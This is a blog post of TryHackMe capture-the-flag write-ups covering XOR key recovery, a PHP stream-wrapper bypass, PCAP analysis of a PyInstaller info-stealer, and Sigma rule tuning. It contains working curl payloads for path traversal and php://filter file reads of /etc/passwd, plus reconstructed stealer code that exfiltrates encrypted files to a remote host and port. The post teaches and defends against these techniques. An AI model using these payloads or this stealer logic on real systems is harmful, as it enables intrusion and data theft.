DEV Community

Cover image for TryHackMe : Overflow The Jackpot writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

TryHackMe : Overflow The Jackpot writeup

# Challenge Category Flag
1 B1t Recovery Crypto THM{[REDACTED]}
2 Lost Fortune Included Web THM{REDACTED}
3 Casino Heist Forensics THM{REDACTED}
4 Fresh Powder - Bonus Challenge Detection Engineering Multiple - THM{REDACTED}
5 Agent P Boot2Root EVILINC{REDACTED}

b1t_recovery - Known-Plaintext Attack on Short-Key Repeating XOR

Summary

b1t_recovery is a crypto challenge that XOR-encrypts a flag with a random
4-byte key using pwntools' xor() helper. Because xor() cycles a short
key across the whole plaintext (repeating-key XOR, effectively a weak stream
cipher), and because the flag format is known ahead of time (THM{...}),
the first 4 bytes of ciphertext can be XORed against the known THM{ prefix
to recover the full key directly - no brute force needed. Once the key is
recovered, XORing it back across the entire ciphertext yields the flag.

Challenge Files

b1t_recovery/
├── challenge.py
└── encrypted.bin
Enter fullscreen mode Exit fullscreen mode

challenge.py:

import os
from pwn import *

key = os.urandom(4)
flag = b"THM{FAKE_FLAG_FOR_TESTING}"
encrypted = xor(flag, key)

with open("encrypted.bin", "wb") as f:
    f.write(encrypted)
Enter fullscreen mode Exit fullscreen mode

Key details from the source:

  • The XOR key is only 4 random bytes (os.urandom(4)).
  • pwntools.xor() repeats/cycles a short key across the full length of the input rather than requiring a key as long as the plaintext.
  • The real flag follows the same THM{...} format as the placeholder, which is the crack that breaks this scheme.

Vulnerability

Repeating-key XOR with a short key is only as strong as an attacker's
uncertainty about any stretch of plaintext equal in length to the key.
Here the key is 4 bytes, and the flag format is public knowledge
(THM{ is a fixed, predictable prefix on every flag in this format).
That means the first 4 ciphertext bytes are:

C[0:4] = P[0:4] XOR K[0:4]
       = "THM{" XOR K
Enter fullscreen mode Exit fullscreen mode

Since XOR is self-inverse, the key falls straight out:

K = C[0:4] XOR "THM{"
Enter fullscreen mode Exit fullscreen mode

Once K is known, decrypting the rest of the file is just re-applying the
key on a 4-byte cycle across the full ciphertext - the same operation
challenge.py used to encrypt it, run in reverse.

Exploitation

Inspected the ciphertext length and raw bytes:

data = open('encrypted.bin', 'rb').read()
print(len(data))       # 46 bytes
print(data.hex())
Enter fullscreen mode Exit fullscreen mode

Recovered the 4-byte key from the known THM{ prefix and decrypted the full
buffer:

data = open('encrypted.bin', 'rb').read()
known = b'THM{'
key = bytes([data[i] ^ known[i] for i in range(4)])
print('recovered key:', key)
pt = bytes([data[i] ^ key[i % 4] for i in range(len(data))])
print(pt)
Enter fullscreen mode Exit fullscreen mode

Output:

recovered key: b'\xcb\xce\xceC'
b'THM{[REDACTED]}'
Enter fullscreen mode Exit fullscreen mode

Flag

THM{[REDACTED]}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Short (4-byte), reused/cycled XOR key with a predictable-format plaintext prefix challenge.py -> encrypted.bin Full key recovery and plaintext decryption via known-plaintext attack, no brute force required

Mitigations

  • Never use repeating-key XOR as encryption for anything beyond a trivial obfuscation exercise - it collapses to a solvable known-plaintext problem the moment any stretch of plaintext equal to the key length is guessable or predictable (headers, magic bytes, fixed-format prefixes like THM{).
  • If XOR is used at all, the key must be at least as long as the plaintext and never reused (a true one-time pad), or replaced entirely with an authenticated stream/block cipher (e.g. AES-GCM, ChaCha20-Poly1305).
  • Avoid predictable plaintext framing (fixed prefixes/suffixes) around secrets that will be encrypted with anything less than a properly randomized, sufficiently long key - predictable structure is exactly what a known-plaintext attack needs to anchor on.

TryHackMe - Losst Fortune: PHP Filter Chain Bypass to Arbitrary File Read

Flag: THM{REDACTED}

Summary

"Losst Fortune" is a single Apache/PHP box serving a themed document kiosk
("VILLAGE ARCHIVE TERMINAL v2.3") that hands out two files - a PDF and a PNG

  • through a ?doc=<filename> parameter. Straightforward path-traversal payloads (../../etc/passwd, double-encoded slashes, null bytes) were all caught by a filter that returns "Only .pdf and .png village documents may be viewed." - but that filter turned out to be watching for ../-style traversal sequences specifically, not actually restricting which file gets opened. Feeding the parameter a php://filter/... stream wrapper instead of a plain path contains no ../ at all, sails straight past the blacklist, and gets handed to PHP's file-read function unmodified - which happily treats it as a wrapper directive rather than a filename. That gave base64-encoded arbitrary file read as the web server user, and a very short hop from /etc/passwd to the flag sitting in /var/www/.
?doc=<filename> kiosk endpoint
        |
        v
../ traversal payloads -> blocked ("Only .pdf and .png...")
        |
        v
php://filter/...resource=<path> -> contains no ../ -> blacklist never triggers
        |
        v
value passed straight to a PHP file-read function -> treated as a stream wrapper, not a path
        |
        v
php://filter/read=convert.base64-encode/resource=/etc/passwd -> arbitrary file read
        |
        v
php://filter/.../resource=/var/www/flag.txt -> flag
Enter fullscreen mode Exit fullscreen mode

Recon

nmap -A -Pn <MACHINE_IP>
Enter fullscreen mode Exit fullscreen mode
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-title: VILLAGE ARCHIVE TERMINAL v2.3
|_http-server-header: Apache/2.4.58 (Ubuntu)
Enter fullscreen mode Exit fullscreen mode

(Note: the target's DHCP-assigned IP changed partway through this engagement,
from 10.48.174.230 to 10.49.159.27, after the TryHackMe VPN instance
recycled - both refer to the same box. Placeholder <MACHINE_IP> is used
throughout for that reason.)

curl http://<MACHINE_IP>/ returns a themed kiosk page listing two
documents and stating its request format plainly:

<div class="prompt">AVAILABLE DOCUMENTS:</div>
<ul>
    <li><a href="?doc=village_schedule.pdf">village_schedule.pdf</a></li>
    <li><a href="?doc=important.png">important.png</a></li>
</ul>
<div class="footer">
    Request format: <code>?doc=&lt;filename&gt;</code><br>
    Only .pdf and .png documents are served from this terminal.
</div>
Enter fullscreen mode Exit fullscreen mode

Fetched both listed documents for a baseline:

wget 'http://<MACHINE_IP>/?doc=village_schedule.pdf' -O village_schedule.pdf
wget 'http://<MACHINE_IP>/?doc=important.png' -O important.png
Enter fullscreen mode Exit fullscreen mode
village_schedule.pdf: PDF document, version 1.7, 1 page(s) (zip deflate encoded)
important.png:        PNG image data, 434 x 431, 8-bit/color RGBA, non-interlaced
Enter fullscreen mode Exit fullscreen mode

Both legitimate, unremarkable files - no obvious flag hiding in either at
this stage.

Confirming the Filter - and What It's Actually Watching For

Straight path traversal is rejected with a specific message:

curl 'http://<MACHINE_IP>/?doc=..%2f..%2f..%2fetc%2fpasswd'
curl 'http://<MACHINE_IP>/?doc=....//....//etc/passwd'
curl 'http://<MACHINE_IP>/?doc=..%252f..%252f..%252fetc%252fpasswd'
curl 'http://<MACHINE_IP>/?doc=%2e%2e/%2e%2e/%2e%2e/etc/passwd'
Enter fullscreen mode Exit fullscreen mode
Only .pdf and .png village documents may be viewed.
Enter fullscreen mode Exit fullscreen mode

Every traversal variant tried - literal ../, single URL-encoding, double
URL-encoding, dot-slash obfuscation - got the exact same block message. That
consistency was the tell: this isn't an extension whitelist reacting to the
absence of .pdf/.png, it's a blacklist reacting to the presence of
../-style sequences specifically. Confirmed by testing a path with no
traversal characters and no valid extension either:

curl 'http://<MACHINE_IP>/?doc=../app.py'
Enter fullscreen mode Exit fullscreen mode
403 (51 bytes)
Enter fullscreen mode Exit fullscreen mode

A 403 here (Apache-level, not the app's own block message) rather than the
app's "Only .pdf and .png..." text further reinforced that the app's own
filter is keyed on the traversal pattern, not the extension.

Dead Ends

A lot of the standard toolkit came up empty on this box - worth recording
so the useful path stands out:

  • dirsearch / gobuster against the web root: nothing beyond the default /server-status (403, mod_status present but locked down).
  • ffuf fuzzing the doc parameter itself against raft-small-words.txt, and fuzzing filenames like flag.pdf, secret.png, id_rsa.pdf, .env.pdf: no hits - none of the "obviously named" files exist under the app's own document directory.
  • Virtual host fuzzing (Host: FUZZ.thm against a large subdomain wordlist): every single name returned the identical 2593-byte default page - this app has no vhost routing at all, it was a dead end from the start.
  • TRACE / OPTIONS / HEAD method probing, X-Forwarded-For / X-Original-URL / X-Rewrite-URL header tricks, PHP array-style parameters (doc[]=), duplicate doc= query parameters, and POSTing doc in the body instead of the query string: all either ignored, echoed the default page, or (for the array-style parameter) triggered a generic 500 with no further disclosure.
  • PNG steganography (zsteg -a important.png, exiftool important.png): extensive automated bit-plane analysis, no coherent hidden data - false-positive "OpenPGP Secret Key" / format matches from zsteg scanning raw pixel noise, not an actual stego payload. important.png was exactly what it looked like.
  • PDF internals (qpdf --qdf, pdfdetach -list, manual zlib-decompression of every stream, XOR-brute-forcing a suspicious repeating string found in the raw PDF): the "suspicious" string turned out to be JBIG2/image compression artifacts, and every decompressed stream was ordinary image/ICC-profile data. village_schedule.pdf was also exactly what it looked like.

The two served documents and the web root itself were both red herrings by
design - the vulnerability was in how the doc parameter gets consumed, not
in the documents' content.

The Bypass - PHP Stream Wrappers Contain No ../

Since the block is a blacklist on traversal syntax, anything that reaches
the same file-read function without using ../ slips through untouched.
PHP's php://filter stream wrapper is exactly that: it lets you wrap a
resource=<path> argument in a filter chain (here, base64-encoding it on
the way out) without a single ../ or ..%2f anywhere in the string.
Sent straight at /etc/passwd:

curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/etc/passwd'
Enter fullscreen mode Exit fullscreen mode
cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Iv...
Enter fullscreen mode Exit fullscreen mode

No block message, no 403, no 500 - a clean base64 blob. Decoded directly:

curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/etc/passwd' | base64 -d | grep bash
Enter fullscreen mode Exit fullscreen mode
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
Enter fullscreen mode Exit fullscreen mode

Confirmed arbitrary file read as whatever user Apache/PHP is running as.
This is the whole vulnerability in one line: the traversal blacklist checks
the string for ../, but the value is ultimately handed to a PHP function
that resolves php:// stream wrappers - a completely different, legitimate
PHP feature that was never in the blacklist's scope, and was never meant to
be reachable from user input at all.

Getting the Flag

/home/ubuntu/.ssh and /home/ubuntu/ both returned empty (likely
permission-denied at the OS level for whichever low-privilege user PHP runs
as - a dead end, not a bypass failure). The application's own working
directory was the better target - village_schedule.pdf and
important.png both live directly under /var/www/, so the flag was worth
trying in the same place:

curl 'http://<MACHINE_IP>/?doc=php://filter/read=convert.base64-encode/resource=/var/www/flag.txt' | base64 -d
Enter fullscreen mode Exit fullscreen mode
THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Key Vulnerabilities

# Vulnerability Location Impact
1 Traversal blacklist instead of a real path/extension whitelist ?doc=<filename> handler Blocks ../-style payloads only; doesn't restrict which file actually gets opened
2 User-controlled value passed unfiltered into a PHP file-read function ?doc=<filename> handler PHP stream wrappers (php://filter/...) bypass the blacklist entirely, giving arbitrary file read

Mitigations

  • Never rely on blacklisting traversal syntax (../, encoded variants, etc.) as a security boundary - validate the resolved value against an actual allowlist of permitted absolute paths (e.g. compare realpath() of the requested file against a fixed, known-good directory).
  • Explicitly reject any doc value containing a :// scheme separator before it ever reaches a file-read function - PHP stream wrappers (php://, phar://, data://, expect://, and others) are a well-known class of filter/whitelist bypass and should never be reachable from unsanitized user input.
  • Serve user-selectable documents by an internal ID or a strict allowlisted filename map ({"village_schedule": "village_schedule.pdf", "important": "important.png"}) rather than passing user input into a filesystem or stream-wrapper call at all - this removes the bypass surface entirely rather than trying to filter it.
  • Run the web application as a minimally-privileged user with read access to nothing outside its own document root, so that even a successful arbitrary-file-read bug can't reach /etc/passwd, SSH keys, or other sensitive host files.

Casino Heist - Network Forensics / Malware Analysis Writeup

Challenge file: stolen_jackpot.pcapng (701 packets, ~71.9s capture, 20MB)
Category: PCAP forensics + PyInstaller reverse engineering
Flag: THM{REDACTED}

Summary

The capture shows recon against a small web app (/admin, /cms, /flag all 404), followed by a
successful GET /stealer that downloads a 20MB ELF binary. That binary is a Python info-stealer
packaged with PyInstaller. Extracting and disassembling it revealed hardcoded AES-CBC key/IV
material and exfiltration logic that walks /home for any file ending in .jackpot, encrypts it,
and ships it out over a raw TCP socket. Two short follow-up connections later in the capture are
that exact exfiltration in action - following one of those streams and decrypting with the key/IV
pulled from the binary recovers the flag.

Recon of the capture

Started with the basics - just getting oriented before looking at any actual traffic content:

capinfos stolen_jackpot.pcapng
Enter fullscreen mode Exit fullscreen mode
Number of packets:   701
Capture duration:    71.850694232 seconds
Data size:           20 MB
Data byte rate:      286 kBps
Average packet size: 29399.47 bytes
Enter fullscreen mode Exit fullscreen mode

Not much to conclude yet - 701 packets over ~72 seconds, 20MB total, and a fairly large average
packet size (normal traffic chatter tends to run smaller; this hints that some packets are large,
but nothing here says what they contain or which protocol they belong to).

tshark -r stolen_jackpot.pcapng -q -z io,phs
Enter fullscreen mode Exit fullscreen mode
eth                frames:701 bytes:20609026
  arp              frames:22 bytes:924
  ip               frames:679 bytes:20608102
    tcp            frames:661 bytes:20606338
      http         frames:8 bytes:55145
        data-text-lines  frames:3 bytes:1605
        data             frames:1 bytes:52890
    icmp           frames:18 bytes:1764
Enter fullscreen mode Exit fullscreen mode

This is a byte-count breakdown by protocol layer, not a list of transactions. It says: almost all
20MB of the capture is tcp traffic (ARP and ICMP are negligible), but only 55KB of that gets
classified further down as http by Wireshark's dissector - and only 1 frame of that shows up as a
generic data object (52.9KB). That's a big gap: ~20.6MB of TCP payload total, but only ~55KB
attributed to HTTP. The likely reason is TCP segmentation and reassembly - when an HTTP response
body spans many TCP segments, Wireshark only classifies the final reassembled frame as http/
data; the individual segments that make it up are just counted as plain tcp. At this point
that's a plausible explanation for the gap, not a confirmed one - it doesn't yet tell us there's a
large file download, just that there's a lot of TCP payload that isn't showing up as HTTP.

HTTP requests in the capture

To actually see what's happening at the HTTP level rather than just byte totals, filtered directly
on http:

tshark -r stolen_jackpot.pcapng -Y http -T fields \
  -e frame.number -e ip.src -e ip.dst \
  -e http.request.method -e http.request.uri \
  -e http.response.code -e http.content_type
Enter fullscreen mode Exit fullscreen mode
22   172.20.0.1 → 172.20.0.2   GET /admin      →  404
34   172.20.0.1 → 172.20.0.2   GET /cms        →  404
46   172.20.0.1 → 172.20.0.2   GET /flag       →  404
76   172.20.0.1 → 172.20.0.2   GET /stealer    →  200  application/octet-stream
Enter fullscreen mode Exit fullscreen mode

This is the first point where the traffic actually tells a story: 172.20.0.1 is probing a handful
of common paths against a server at 172.20.0.2:8080 - /admin, /cms, /flag all come back
404 - and then a fourth request, GET /stealer, gets a 200 with content type
application/octet-stream. That's a real file being served, and it's the only successful request
in the whole capture, so it's the obvious next thing to pull out and look at.

Extracting the binary

tshark -r stolen_jackpot.pcapng --export-objects http,objects
Enter fullscreen mode Exit fullscreen mode
ls -la objects/
Enter fullscreen mode Exit fullscreen mode
-rw-r--r-- 1 root root      469 stealer_extracted... admin
-rw-r--r-- 1 root root      469 cms
-rw-r--r-- 1 root root      469 flag
-rw-r--r-- 1 root root 20559968 stealer
Enter fullscreen mode Exit fullscreen mode

The /admin, /cms, /flag responses are all tiny (469 bytes - just generic 404 pages). stealer
is 20,559,968 bytes - which is where that earlier gap between "20.6MB of TCP payload" and "55KB of
HTTP" actually gets explained: this one file accounts for essentially the entire size of the
capture. That confirms what the protocol hierarchy stats only hinted at - the bulk of this capture
is the download of this one binary, carried across hundreds of individual TCP segments that
reassemble into a single large HTTP response.

file objects/stealer
Enter fullscreen mode Exit fullscreen mode
stealer: ELF 64-bit LSB executable, x86-64, ... dynamically linked, ... stripped
Enter fullscreen mode Exit fullscreen mode
strings -a stealer | grep -i python
Enter fullscreen mode Exit fullscreen mode
PyRun_SimpleStringFlags
LOADER: failed to allocate argv array for execvp!
pyi-python-flag
libpython3.10.so.1.0
Enter fullscreen mode Exit fullscreen mode

The PyRun_SimpleStringFlags / LOADER: / pyi-python-flag strings are the signature of a
PyInstaller onefile bundle - this "ELF binary" is really a packaged Python 3.10 script plus a
bundled interpreter and dependencies (20MB tracks with a full Python runtime being embedded).

Unpacking with pyinstxtractor-ng

pyinstxtractor-ng stealer
Enter fullscreen mode Exit fullscreen mode
[+] Pyinstaller version: 2.1+
[+] Python version: 3.10
[+] Found 198 files in CArchive
[+] Possible entry point: stealer.pyc
[+] Found 666 files in PYZ archive
[+] Successfully extracted pyinstaller archive: stealer
Enter fullscreen mode Exit fullscreen mode

stealer.pyc in stealer_extracted/ is the actual malware entry point (everything else is the
bundled Python stdlib/runtime and third-party packages like pycryptodome).

Reading the bytecode

Standard decompilers (decompyle3, uncompyle6) don't support Python 3.10 bytecode yet, so this
was read directly via xdis's disassembler instead of trying to recover exact source:

import xdis
xdis.disassemble_file('stealer_extracted/stealer.pyc')
Enter fullscreen mode Exit fullscreen mode

The disassembly reconstructs cleanly enough to read as pseudocode. Module-level constants:

KEY  = b'J4ckp0tH4ck3rKey'      # 16 bytes -> AES-128 key
IV   = b'Iv_For_Exf1ltr8!'      # 16 bytes -> AES CBC IV
HOST = '172.20.0.3'
PORT = 4444
Enter fullscreen mode Exit fullscreen mode

And the run() function's logic:

def run():
    if socket.gethostname() != 'b0x':
        raise SystemExit                      # a basic sandbox/VM check

    for root, _, files in os.walk('/home'):
        for f in files:
            if f.endswith('.jackpot'):
                data = open(os.path.join(root, f), 'rb').read()
                enc  = AES.new(KEY, AES.MODE_CBC, IV).encrypt(pad(data, 16))
                s = socket.socket()
                s.connect((HOST, PORT))
                s.sendall(f.encode() + b'\n' + enc)
                s.close()
Enter fullscreen mode Exit fullscreen mode

So the malware: walks /home for files ending in .jackpot, AES-CBC-encrypts each one with a
hardcoded key/IV, and exfiltrates filename\n<ciphertext> over a plain TCP socket to
172.20.0.3:4444.

Finding and decrypting the exfiltration

Two short TCP streams later in the capture connect out to 172.20.0.3:4444 - exactly matching the
malware's exfil behavior:

682  172.20.0.1 → 172.20.0.3   TCP  49496 → 4444 [SYN]
685  172.20.0.1 → 172.20.0.3   TCP  [PSH, ACK] Len=61
690  172.20.0.1 → 172.20.0.3   TCP  49500 → 4444 [SYN]
693  172.20.0.1 → 172.20.0.3   TCP  [PSH, ACK] Len=29
Enter fullscreen mode Exit fullscreen mode

Two attempts (the second, shorter one is likely a smaller/retry payload); the first carries the
full flag file. Following that TCP stream in raw hex:

tshark -r stolen_jackpot.pcapng -q -z follow,tcp,raw,4
Enter fullscreen mode Exit fullscreen mode
666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5
Enter fullscreen mode Exit fullscreen mode

Splitting on the first 0a (newline) byte separates the filename from the ciphertext:

666c61672e6a61636b706f740a  -> "flag.jackpot\n"
9bcc341f...8fe5              -> 48-byte AES-CBC ciphertext
Enter fullscreen mode Exit fullscreen mode

Decrypting with the key/IV recovered from the binary:

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

KEY = b'J4ckp0tH4ck3rKey'
IV  = b'Iv_For_Exf1ltr8!'

raw = bytes.fromhex("666c61672e6a61636b706f740a9bcc341f8374f7d031a5a0ee4663501313b"
                     "15466b184e33a3f295efd0cd1b4f5c64b48dd831bbca7ec4423e3782f8fe5")
nl = raw.index(b'\n')
fname, enc = raw[:nl].decode(), raw[nl+1:]

cipher = AES.new(KEY, AES.MODE_CBC, IV)
print(unpad(cipher.decrypt(enc), 16))
Enter fullscreen mode Exit fullscreen mode
b'THM{REDACTED}'
Enter fullscreen mode Exit fullscreen mode

Flag

THM{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Notes / Takeaways

  • The malware's "encryption" only protects the data in transit against a passive observer who doesn't have the sample - once the binary itself is captured (as it was here, served in plaintext HTTP), the hardcoded key/IV completely defeats the scheme. Hardcoded symmetric keys inside a distributable binary are never actually secret.
  • The socket.gethostname() != 'b0x' check is a weak anti-analysis / targeting gate (only runs its payload on a host named b0x) - trivially bypassed by renaming the analysis VM, or in this case irrelevant since we're statically reading the bytecode rather than executing it.
  • PyInstaller-packed samples are common in commodity stealers because they're easy to build and the resulting binary looks like a generic stripped ELF at a glance; strings for pyi-python-flag/PyRun_SimpleStringFlags is a fast way to fingerprint them, and tools like pyinstxtractor-ng make recovering the original .pyc straightforward even without a working decompiler for the exact bytecode version.

TryHackMe: Fresh Powder - Detection Engineering Writeup

Scenario: TSS CSIRT investigated a ransomware precursor intrusion against Cascadia Ski and Resort Collective, a three-property ski/hospitality group (Snowridge, Alderpeak, Timberline) sharing one IT backbone. The intrusion is attributed to POWDER WOLF, an eCrime cluster known for using stolen remote access credentials against hospitality infrastructure, with tooling overlap against LockBit/Akira affiliate playbooks. The attack ran the full kill chain - initial access through ransomware staging - and was only caught at the staging step, before encryption, via investigation rather than any alert. Five detections were opened as pull requests in a Detection-as-Code (Sigma) repository, one per kill chain phase, each shipped deliberately broken. The task: understand the attack, tune each rule against the real environment, and get all five merged.

Pipeline: every PR runs Sigma Syntax Check → Converter (sigma convert -t splunk) → Environment Validation (scored against a real answer key in Splunk) → Automated Red Team Test (adversarial bypass attempts) → peer approval → merge.


PR #1 - External RDP Logon From an Untrusted Source Grants Administrative Access

Technique: T1133/T1078 · Flag: (not captured in this writeup - merged first)

Root cause: the original exclusion filter (IpAddress|startswith: '203.0.113.') excluded the attacker's own source range, not Cascadia's legitimate traffic - an inverted allowlist that would silently ignore the real intrusion.

Fix: rebuilt the exclusion logic from docs/environment-routines.md's three real routines - internal admin hops (10.40.0.0/16, IP-only), the VPN pool (10.90.0.0/16, IP and one of three named accounts), and SummitDesk MSP maintenance (198.51.100.0/24, IP and the paired service account). Both the VPN and MSP filters required pairing IP range with account, since the doc explicitly warned the range alone doesn't confirm legitimacy for either.

Red Team bypass: rule only caught LogonType 10 (fresh interactive), missing session resume via LogonType 7 (Unlock) from the same untrusted source. Fixed by adding both logon types to selection.

detection:
  selection:
    EventID: 4624
    LogonType: ['10', '7']
  filter_internal_hop:
    IpAddress|startswith: '10.40.'
  filter_vpn_authorized_staff:
    IpAddress|startswith: '10.90.'
    TargetUserName: ['r.doyle', 'k.nakamura', 'p.okonkwo']
  filter_summitdesk_msp:
    IpAddress|startswith: '198.51.100.'
    TargetUserName: 'svc_summitdesk_support'
  condition: selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)
Enter fullscreen mode Exit fullscreen mode

PR #2 - NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test

Technique: T1046/T1135 · Flag: THM{REDACTED}

Root cause: the rule checked ShareName|endswith: 'delete.me'. ShareName holds the share path itself (e.g. \\DC-CSRC01\C$); the object accessed within the share is a separate field, RelativeTargetName. Checking the wrong field meant the rule silently matched nothing.

Fix:

detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: 'delete.me'
  condition: selection
Enter fullscreen mode Exit fullscreen mode

No exclusion filter was needed - nothing in environment-routines.md legitimately produces this artifact.


PR #3 - Remote Access Tool Installed as a Service on Server Infrastructure

Technique: T1543.003 · Flag: THM{REDACTED}

Root cause, in layers:

  1. Image|endswith: '\AnyDesk.exe' referenced a process-creation field for what is actually a service install event (EventID 7045) - Environment Validation scored 0%.
  2. No host-tier filter - AnyDesk-as-a-service is legitimate on workstations (SNW-PC*/ALD-PC*/TBL-PC*) per the environment doc, illegitimate on servers.
  3. Once pointed at the right event, ServiceFileName|endswith: '\AnyDesk.exe' still scored 0% - ground truth in Splunk showed the real value is ...\AnyDesk.exe --service, which doesn't end with the exe path because of the trailing flag. Needed contains, not endswith.
  4. Red Team Test bypassed an AnyDesk-only rule using ScreenConnect and TeamViewer - same technique, different tool.

Fix:

detection:
  selection:
    EventID: 7045
    ServiceFileName|contains: ['AnyDesk.exe', 'ScreenConnect', 'TeamViewer']
  filter_workstation_class:
    ComputerName|startswith: ['SNW-PC', 'ALD-PC', 'TBL-PC']
  condition: selection and not filter_workstation_class
Enter fullscreen mode Exit fullscreen mode

Lesson: don't trust a field name that merely sounds plausible from the incident narrative - verify against raw Splunk ground truth (sourcetype, actual populated fields) before assuming.


PR #4 - 7-Zip Archives Data Directly From a Live Network Share

Technique: T1560.001/T1567 · Flag: THM{REDACTED}

Root cause: CommandLine|contains: '-p' - the real attacker command line never used a -p flag at all; the actual anomaly is archiving straight out of a live UNC share.

Debugging detour: attempts to match a literal double-backslash ('\\', '\\\\') all converted to the same single-backslash SPL pattern (CommandLine="*\\*"), which matched almost any Windows path and produced 24 false positives (an unrelated, undocumented recurring "shared backup" job across many hosts). Confirmed by reproducing the pipeline's exact generated SPL directly in Splunk and inspecting the false-positive events. Sidestepped the unreliable escaping by matching a specific, unambiguous host+share substring instead of a generic UNC prefix.

Red Team bypasses closed:

  • WinRAR / Rar as alternate archivers
  • PowerShell's Compress-Archive (no external binary)
  • 7-Zip binary renamed to an innocuous filename - fixed by matching on OriginalFileName (embedded PE metadata) instead of Image path
  • Generalizing past FS-RESV01 to other server-tier shares (BKP-CSRC01, etc.)

Fix:

detection:
  selection_archiver_tools:
    OriginalFileName: ['7z.exe', '7zFM.exe', '7zG.exe', 'WinRAR.exe', 'Rar.exe']
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  selection_ps_tool:
    Image|endswith: '\powershell.exe'
    CommandLine|contains: 'Compress-Archive'
  selection_ps_share:
    CommandLine|contains:
 - 'FS-RESV01\'
 - 'BKP-CSRC01\'
 - 'DC-CSRC01\'
 - 'DC-CSRC02\'
 - 'DC-CSRC03\'
 - 'HV-CSRC01\'
  filter_monthly_export:
    ParentImage|endswith: '\wscript.exe'
    CommandLine|contains: 'ReservationsExport_'
  condition: (selection_archiver_tools or (selection_ps_tool and selection_ps_share)) and not filter_monthly_export
Enter fullscreen mode Exit fullscreen mode

PR #5 - Lynx Ransomware Payload Executed With Distinctive Encryption Flags

Technique: T1486 · Flag: THM{REDACTED}

Root cause, in layers:

  1. ParentImage|endswith: '\services.exe' - the real indicator shows ParentImage: cmd.exe, not services.exe.
  2. Needed to exclude the legitimate DiskOptimizer.exe nightly job, which uses the same --dir/--mode fast flags.
  3. First fix anchored selection on Image|endswith: '\w.exe' plus the flags, and excluded DiskOptimizer by install path + OriginalFileName together - but Red Team Test bypassed this: a payload renamed to DiskOptimizer.exe and dropped at the exact legitimate install path never matched selection in the first place (it doesn't end with \w.exe), so it skipped the filter stage entirely.

Final fix: stopped anchoring selection on any filename - key purely on the distinctive, attacker-controlled flags, and exclude the legitimate tool using only its embedded OriginalFileName metadata (harder to spoof than an install path):

detection:
  selection:
    CommandLine|contains|all: ['--dir', '--mode fast']
  filter_diskoptimizer:
    OriginalFileName: 'DiskOptimizer.exe'
  condition: selection and not filter_diskoptimizer
Enter fullscreen mode Exit fullscreen mode

Lesson: an exclusion filter is only as strong as its least-spoofable field. A path-based exclusion is trivially defeated by an attacker who's already mapped the environment (which POWDER WOLF had, via the NetScan/NetExec sweeps); embedded PE metadata is a meaningfully higher bar.


Overall lessons across all five PRs

  1. Verify fields against raw data, don't trust the incident narrative's plain-English field names. Multiple rules failed because a field referenced in selection (ShareName, ServiceFileName+endswith, Image+services.exe) sounded right but wasn't what was actually populated in the real Splunk events.
  2. Every exclusion filter needs to be built from environment-routines.md, not assumed. The original PR #1 bug (excluding the attacker's own IP) is the clearest example of building a filter from something that merely looked like a "known" value.
  3. The Automated Red Team Test consistently punished over-fitting to one sample artifact - a single tool name, a single file server, a single filename, a single logon type. Every rule needed to generalize from "this one indicator" to "the underlying technique" to pass.
  4. Prefer the least-spoofable field for both selection and exclusion. OriginalFileName (embedded PE metadata) beat Image (process path) and install-path-only filters every time an attacker could plausibly rename or relocate a binary.
  5. Don't trust automatic backslash/escaping behavior blindly - when a Sigma modifier's generated SPL doesn't behave as expected, reproduce the pipeline's exact generated query directly in the SIEM to see real matching events before respecifying syntax blindly.

Appendix - Final files to paste

Complete final YAML for each rule, ready to paste into Files changed, with a one-line FIX summary after each. Flags redacted.

PR #1 - rules/rdp_untrusted_source_logon.yml

title: External RDP Logon From an Untrusted Source Grants Administrative Access
id: fc14f8ac-c4d3-4071-b717-c2b85dc463d2
status: experimental
description: Detects an interactive RDP logon on any host in the estate from a source outside Cascadia's known internal, VPN, and vendor routines, consistent with POWDER WOLF's initial access tradecraft.
author: morgan-reyes
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType:
 - '10'
 - '7'
  filter_internal_hop:
    IpAddress|startswith: '10.40.'
  filter_vpn_authorized_staff:
    IpAddress|startswith: '10.90.'
    TargetUserName:
 - 'r.doyle'
 - 'k.nakamura'
 - 'p.okonkwo'
  filter_summitdesk_msp:
    IpAddress|startswith: '198.51.100.'
    TargetUserName: 'svc_summitdesk_support'
  condition: selection and not (filter_internal_hop or filter_vpn_authorized_staff or filter_summitdesk_msp)
Enter fullscreen mode Exit fullscreen mode

FIX: Replaced the inverted allowlist (excluded the attacker's own IP block instead of Cascadia's legitimate ranges) with real exclusions from environment-routines.md. Added LogonType 7 (Unlock) alongside 10 to catch session-resume bypass.

PR #2 - rules/netscan_share_writetest.yml

title: NetScan Enumerates Writable Administrative Shares via a Delete.me Access Test
id: 9ab1b326-e9e3-4b6b-b4c2-81857d774b0b
status: experimental
description: Detects file share object access checks referencing a delete.me marker file, consistent with a network scanning tool testing write access across every discovered administrative share, part of POWDER WOLF's discovery phase following initial access.
author: morgan-reyes
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5145
    RelativeTargetName|endswith: 'delete.me'
  condition: selection
Enter fullscreen mode Exit fullscreen mode

